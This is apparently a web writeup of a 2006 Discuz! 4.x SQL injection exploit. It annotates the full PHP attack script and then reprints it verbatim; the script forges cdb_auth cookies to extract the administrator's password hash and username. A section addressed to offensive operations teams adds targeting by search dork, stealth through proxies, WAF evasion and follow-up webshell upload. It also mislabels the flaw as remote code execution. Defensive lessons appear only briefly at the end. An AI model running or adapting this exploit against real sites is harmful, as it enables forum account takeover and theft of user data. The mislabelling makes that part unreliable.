Discuz! 4.x SQL Injection for Admin Credential Disclosure

Discuz! 4.x SQL Injection for Admin Credential Disclosure
What this paper is
This paper details a vulnerability in Discuz! version 4.x that allows an attacker to perform SQL injection. Specifically, it targets the admincp.php script to disclose the MD5 hash of the administrator's password and their username. The exploit leverages a flaw in how user input is handled, allowing for the injection of malicious SQL queries.
Simple technical breakdown
The exploit works by sending specially crafted HTTP requests to the Discuz! installation. It manipulates the cdb_auth cookie, which is normally used for authentication and session management. By injecting SQL code into this cookie, the script can be tricked into executing arbitrary SQL queries against the database.
The core of the exploit involves:
- Guessing the
discuz_auth_key: This is a secret key used for encoding/decoding data, including the cookie. The exploit first tries to guess this key by observing the response when sending a malformed cookie. - SQL Injection for Password Hash: Once the
discuz_auth_keyis known, the exploit injects SQL queries into thecdb_authcookie to extract the administrator's password hash, character by character. It does this by checking if a specific character at a given position in the password hash matches an ASCII value. - SQL Injection for Username: Similarly, it injects SQL queries to extract the administrator's username, character by character.
Complete code and payload walkthrough
The provided PHP script is designed to automate the exploitation process. Let's break down its components:
<?php
print_r('
---------------------------------------------------------------------------
Discuz! 4.x SQL injection / admin credentials disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "powered by discuz!
---------------------------------------------------------------------------
');
// ... (usage instructions and argument parsing) ...- Purpose: This initial block prints introductory information about the exploit, its author, and a search query (dork) that could be used to find vulnerable sites.
if ($argc<3) {
// ... (usage instructions) ...
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);- Purpose: Checks if the correct number of command-line arguments (host and path) are provided. If not, it displays usage instructions and exits. It also disables error reporting and sets infinite execution and socket timeout to allow the script to run for an extended period without interruption.
function quick_dump($string)
{
// ... (hex/ascii dump function) ...
}- Purpose: This function is a utility to display a string in both hexadecimal and ASCII format. It's not directly used in the exploit's core logic but can be helpful for debugging or analyzing raw network responses.
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';- Purpose: Defines a regular expression to validate proxy IP addresses and ports.
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}- Purpose: This function sends an HTTP packet to the target. It can connect directly to the host or via a specified proxy. It reads the response into the global
$htmlvariable. Theeregicheck in the proxy section is looking for the end of HTTP headers (\r\n\r\n).
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
// ... (argument parsing for port and proxy) ...
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "please wait...\n";- Purpose: Parses command-line arguments for the target host, path, port, and proxy. It also validates the path format and constructs the base URL for requests.
//from global.func.php
function authcode($string, $operation, $key = '') {
$key = $key ? $key : $GLOBALS['discuz_auth_key'];
$coded = '';
$keylength = 32;
$string = $operation == 'DECODE' ? base64_decode($string) : $string;
for($i = 0; $i < strlen($string); $i += 32) {
$coded .= substr($string, $i, 32) ^ $key;
}
$coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;
return $coded;
}- Purpose: This function implements Discuz!'s custom authentication code encoding/decoding mechanism. It uses XOR operations with a key and base64 encoding. This is crucial for crafting the malicious
cdb_authcookie.
//stolen from install.php
function random($length) {
// ... (generates a random string) ...
}- Purpose: A utility function to generate random strings, used here to generate a random
discuz_auth_key.
$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
$discuz_auth_key=random(32);
$packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="User-Agent: $agent\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
$t=explode("AND m.password='",$html);
$t2=explode("' ",$t[1]);
$pwd_f=$t2[0];
$t=explode("AND m.secques='",$html);
$t2=explode("'\n",$t[1]);
$secques_f=$t2[0];
$t=explode("AND m.uid='",$html);
$t2=explode("'\x0d",$t[1]);
$uid_f=$t2[0];
$my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
break;
}
}- Purpose: This is the first major stage: guessing the
discuz_auth_key.- It initializes
$ttwith all possible ASCII characters. - It enters a
while(1)loop, meaning it will continue until explicitly broken. - Inside the loop, it generates a random 32-byte string for
$discuz_auth_key. - It constructs a GET request to
admincp.php?action=recyclebin. - Crucially, it crafts a
Cookieheader:adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n". Thecdb_authcookie contains the string"suntzu\tsuntzu\t"followed by all possible ASCII characters ($tt), encoded using theauthcodefunction with the currently guessed$discuz_auth_key. - The script sends this packet and analyzes the response (
$html). It looks for specific patterns likeAND m.password='...',AND m.secques='...', andAND m.uid='...'. These patterns are part of an error message or a specific response that occurs when thediscuz_auth_keyis incorrect. - If the extracted string
$my_stringhas a length of 270 and doesn't contain=, it assumes the correctdiscuz_auth_keyhas been found, and the loop breaks. This is a heuristic; the exact length and absence of=are based on the expected output of the vulnerable code when the key is correct.
- It initializes
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j<32; $j++){
for ($i=0; $i<255; $i++){
$aa="";
if ($j<>0){
for ($k=1; $k<=$j; $k++){
$aa.="a";
}
}
$GLOBALS['discuz_auth_key']=$aa.chr($i);
$t = authcode($temp,"DECODE");
if ($t[$j]==$my_string[$j]){
$key.=chr($i);
}
}
}
//echo "AUTH KEY ->".$key."\r\n";
$GLOBALS['discuz_auth_key']=$key;- Purpose: This section calculates the exact
discuz_auth_key.- It re-encodes the initial string (
"suntzu\tsuntzu\t".$tt) using the now known correctdiscuz_auth_key(which was implicitly found in the previous loop). This is stored in$temp. - It then iterates through each of the 32 characters of the
discuz_auth_key. - For each character position (
$j), it tries every possible ASCII character ($i) as the potential character for that position. - It constructs a partial key:
$aa.chr($i).$aais a string of 'a's, representing the characters before the current position$j. This is because theauthcodefunction's decoding process depends on the entire key, and the script is trying to find the correct character at position$jgiven the preceding characters are known (or assumed to be 'a's for simplicity in this guessing phase). - It sets the global
$discuz_auth_keyto this partial key and then decodes$tempusingauthcode($temp,"DECODE"). - It compares the
$j-th character of the decoded string ($t[$j]) with the$j-th character of the previously extracted string ($my_string[$j]). - If they match, it means
chr($i)is the correct character for the$j-th position of thediscuz_auth_key. This character is appended to$key. - After iterating through all 32 positions,
$keywill hold the complete and correctdiscuz_auth_key. This is then set as the global$discuz_auth_key.
- It re-encodes the initial string (
echo "pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
//and some help by extract() to overwrite vars
$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$password.=chr($i);echo chr($i);sleep(1);break;
}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}- Purpose: This is the second major stage: extracting the administrator's password hash.
- It defines
$charsto include ASCII values for digits (0-9) and lowercase hex characters (a-f), which are valid characters in an MD5 hash. - It enters a
while (!strstr($password,chr(0)))loop, which continues until a null byte is found in the extracted password string (indicating the end of the hash). - Inside this loop, it iterates through possible ASCII values (
$i) from 0 to 255. - If
$iis a valid character for an MD5 hash (i.e., in$chars), it constructs a malicious SQL query:999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*999999': This part is designed to break out of the original query's WHERE clause./**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1, ... ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1: This is aUNION SELECTstatement. The number of1s is large, matching the expected number of columns in the original query thatadmincp.phpmight be executing. The goal is to replace one of these columns with our injected data.(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)): This is the core of the extraction.SUBSTRING(m.password,$j,1): Extracts one character from them.passwordcolumn (from thecdb_memberstable, aliased asm) at position$j.ASCII(...): Gets the ASCII value of that character.ASCII(...) = ".$i.": Compares the extracted character's ASCII value with the current test ASCII value ($i).IF(condition, 1, 0): If the condition is true (the character matches$i), it returns1; otherwise, it returns0.- This
IFstatement is placed within theUNION SELECTstatement, effectively making one of the selected columns1if the$j-th character of the password hash matches the ASCII value$i, and0otherwise.
FROM cdb_sessions s, cdb_members m WHERE adminid=1 LIMIT 1: Specifies the tables and conditions.adminid=1targets the administrator.LIMIT 1is important to ensure only one row is returned.
- The malicious SQL query is then encoded using
authcode("suntzu\tsuntzu\t".$sql,"ENCODE")and placed in thecdb_authcookie. - The packet is sent.
- The script checks the response for
action=groupexpiry. This string is present in the HTML output when the injected query successfully returns1(meaning the character matched). - If
action=groupexpiryis found, it means the character matched. The script appendschr($i)to the$passwordstring, prints it, andbreaks the inner loop to try the next character position ($j++). - If the inner loop completes without finding a match (i.e.,
$ireaches 255), it indicates failure.
- It defines
echo "\nadmin user -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$admin.=chr($i);echo chr($i);sleep(1);break;
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}- Purpose: This section is almost identical to the password extraction, but it targets the administrator's username instead of the password.
- The SQL query is modified to use
SUBSTRING(m.username,$j,1)instead ofSUBSTRING(m.password,$j,1). - It extracts the username character by character.
- The SQL query is modified to use
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {
echo "exploit succeeded...";
}
else {
echo "exploit failed...";
}
?>- Purpose: A simple validation function to check if the extracted password string looks like an MD5 hash (32 hexadecimal characters). Finally, it prints a success or failure message based on this validation.
Mapping list:
print_r('...'): Exploit banner and information.if ($argc<3): Command-line argument validation.error_reporting(0); ini_set(...): Script execution environment setup.quick_dump(): Utility for hex/ASCII display (not core to exploit).$proxy_regex: Proxy validation pattern.sendpacketii(): Core function for sending HTTP requests and receiving responses.- Argument parsing (
$host,$path,$port,$proxy): Target configuration. authcode(): Discuz! specific encoding/decoding function.random(): Utility for generating random strings.$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}: Prepares a string with all ASCII characters for initial key guessing.- First
while(1)loop: Heuristic guessing ofdiscuz_auth_keyby observing response patterns. $discuz_auth_key=random(32);: Generates a random key for each guess.Cookie: ... cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";": The crafted cookie for key guessing.$t=explode("AND m.password='",$html); ... $my_string=$pwd_f."\t".$secques_f."\t".$uid_f;: Parsing the response to check if the key guess was correct.- Second
forloop ($j=0to31): Precise calculation ofdiscuz_auth_keycharacter by character. $GLOBALS['discuz_auth_key']=$aa.chr($i);: Temporarily setting a partial key for testing.$t = authcode($temp,"DECODE");: Decoding using the partial key to find the correct character.if ($t[$j]==$my_string[$j]): Comparison to find the correct character.$key.=chr($i);: Building the correctdiscuz_auth_key.$GLOBALS['discuz_auth_key']=$key;: Setting the final, correctdiscuz_auth_key.- Third
whileloop (!strstr($password,chr(0))): Extracting the password hash character by character. $sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";: The SQL injection payload for password hash extraction.Cookie: ... cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";": The crafted cookie for password extraction.if (eregi("action=groupexpiry",$html)): Checking the response for a successful character match.$password.=chr($i);: Appending the found character to the password hash.- Fourth
whileloop (!strstr($admin,chr(0))): Extracting the administrator username character by character. $sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";: The SQL injection payload for username extraction.is_hash(): Validates if the extracted password string is an MD5 hash.- Final
if (is_hash($password)): Reports exploit success or failure.
Practical details for offensive operations teams
- Required Access Level: No prior authenticated access is required. This is an unauthenticated remote code execution (via SQL injection) vulnerability.
- Lab Preconditions:
- A target Discuz! 4.x installation accessible via HTTP/HTTPS.
- The target web server must be running PHP and have a MySQL database.
- The
admincp.phpscript must be accessible and not protected by additional measures (like IP restrictions or a WAF). - The
cdb_authcookie must be used for session management and be vulnerable to injection. - The
discuz_auth_keymust be discoverable or guessable through the method employed by the script.
- Tooling Assumptions:
- PHP interpreter installed on the attacker's machine to run the exploit script.
- Network connectivity to the target.
- The script assumes standard HTTP/1.0 requests and responses.
- Execution Pitfalls:
- WAF/IDS Evasion: The exploit uses standard HTTP requests and SQL injection syntax. Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might detect the patterns, especially the
UNION SELECTandASCII(SUBSTRING(...))constructs. The/**/comments are a common technique to bypass simple string matching. - Incorrect
discuz_auth_keyGuessing: The heuristic for guessing thediscuz_auth_keymight fail if the server's response patterns differ significantly from what the script expects, or if the response is too slow/unreliable. - Database Structure Variations: While unlikely for a specific version, minor variations in the database schema (table names, column names) could break the SQL queries.
- Rate Limiting/Throttling: Repeated requests, especially during the character-by-character extraction, could trigger rate limiting on the server or WAF, leading to temporary blocks or detection.
- Network Latency: The script includes
sleep(1)calls during character extraction, which can be increased if network latency is high to prevent race conditions or missed responses. However, this significantly increases the exploit duration. - Incorrect Path: If the
$pathargument is incorrect, the exploit will target the wrong location or fail to findadmincp.php. adminid=1Assumption: The exploit specifically targets the administrator withadminid=1. If the administrator ID is different, the SQL query needs modification.cdb_sessionsandcdb_members: The exploit relies on these table names. If they are different (e.g., due to custom installation or database prefixes), the SQL will fail.
- WAF/IDS Evasion: The exploit uses standard HTTP requests and SQL injection syntax. Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might detect the patterns, especially the
- Tradecraft Considerations:
- Reconnaissance: Confirm the Discuz! version and path before executing. Use the
dorkprovided in the banner to identify potential targets. - Stealth: The script's output is verbose. For stealthier operations, redirecting output to a file or suppressing it might be necessary. Using a proxy chain can obscure the origin IP.
- Timing: The character-by-character extraction is slow and noisy. Consider running it during off-peak hours if possible.
- Payload Delivery: This exploit only discloses credentials. A follow-up action would be required to gain further access (e.g., using the disclosed credentials to log into the admin panel and upload a webshell).
- Error Handling: The script's error handling is basic. Robust exploitation might require more sophisticated checks for different error conditions or successful responses.
- Reconnaissance: Confirm the Discuz! version and path before executing. Use the
Where this was used and when
- Discovery/Publication: The exploit was published on Exploit-DB on November 28, 2006.
- Target Software: Discuz! version 4.x.
- Usage Context: This type of vulnerability was common in web applications during the mid-2000s. Exploits like this would have been used by attackers to gain administrative access to forums and community websites running Discuz! to deface them, steal user data, or use them as pivot points for further attacks. It's highly likely this exploit was used in the wild shortly after its publication.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the fundamental lesson. Never trust user input. All data coming from the client (URL parameters, cookies, POST data) must be rigorously validated and sanitized before being used in database queries.
- Parameterized Queries/Prepared Statements: Modern applications should use parameterized queries or prepared statements. These separate SQL code from data, preventing malicious input from being interpreted as SQL commands.
- Principle of Least Privilege: Database users should only have the minimum necessary permissions. Avoid using administrative database accounts for web applications.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common SQL injection patterns. Keep WAF rules updated.
- Regular Patching and Updates: Keep all web applications and their underlying frameworks/CMS updated to the latest versions. Vulnerabilities are regularly discovered and patched. Discuz! 4.x is extremely old and unsupported.
- Secure Cookie Handling: Implement secure practices for session management, including using secure flags for cookies, regenerating session IDs, and avoiding storing sensitive information directly in cookies without proper encryption.
- Error Message Obscurity: Configure web servers and applications to avoid displaying detailed error messages to end-users, as these can leak information useful to attackers.
- Code Auditing: Regularly audit application code for security vulnerabilities, especially around data handling and database interactions.
ASCII visual (if applicable)
This exploit doesn't lend itself to a complex architectural diagram. The core interaction is a client-server HTTP request/response cycle where the client manipulates a cookie.
+-----------------+ HTTP Request +-----------------+
| Attacker's Host | -----------------------> | Target Web Server |
| (PHP Script) | (Crafted Cookie Header) | (Discuz! 4.x) |
+-----------------+ +-----------------+
^ |
| | HTTP Response
| | (SQL Error/Success)
+--------------------------------------------+The "trick" is within the HTTP Request's Cookie header, specifically the cdb_auth parameter, which contains the injected SQL.
Source references
- Exploit-DB Paper: Discuz! 4.x - SQL Injection / Admin Credentials Disclosure
- Original Source Code: Provided in the prompt.
Original Exploit-DB Content (Verbatim)
<?php
print_r('
---------------------------------------------------------------------------
Discuz! 4.x SQL injection / admin credentials disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "powered by discuz!
---------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to discuz
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80
php '.$argv[0].' localhost /discuz/ -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "please wait...\n";
//from global.func.php
function authcode($string, $operation, $key = '') {
$key = $key ? $key : $GLOBALS['discuz_auth_key'];
$coded = '';
$keylength = 32;
$string = $operation == 'DECODE' ? base64_decode($string) : $string;
for($i = 0; $i < strlen($string); $i += 32) {
$coded .= substr($string, $i, 32) ^ $key;
}
$coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;
return $coded;
}
//stolen from install.php
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
$discuz_auth_key=random(32);
$packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="User-Agent: $agent\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
$t=explode("AND m.password='",$html);
$t2=explode("' ",$t[1]);
$pwd_f=$t2[0];
$t=explode("AND m.secques='",$html);
$t2=explode("'\n",$t[1]);
$secques_f=$t2[0];
$t=explode("AND m.uid='",$html);
$t2=explode("'\x0d",$t[1]);
$uid_f=$t2[0];
$my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
break;
}
}
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j<32; $j++){
for ($i=0; $i<255; $i++){
$aa="";
if ($j<>0){
for ($k=1; $k<=$j; $k++){
$aa.="a";
}
}
$GLOBALS['discuz_auth_key']=$aa.chr($i);
$t = authcode($temp,"DECODE");
if ($t[$j]==$my_string[$j]){
$key.=chr($i);
}
}
}
//echo "AUTH KEY ->".$key."\r\n";
$GLOBALS['discuz_auth_key']=$key;
echo "pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
//and some help by extract() to overwrite vars
$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$password.=chr($i);echo chr($i);sleep(1);break;
}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
echo "\nadmin user -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$admin.=chr($i);echo chr($i);sleep(1);break;
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {
echo "exploit succeeded...";
}
else {
echo "exploit failed...";
}
?>
# milw0rm.com [2006-11-28]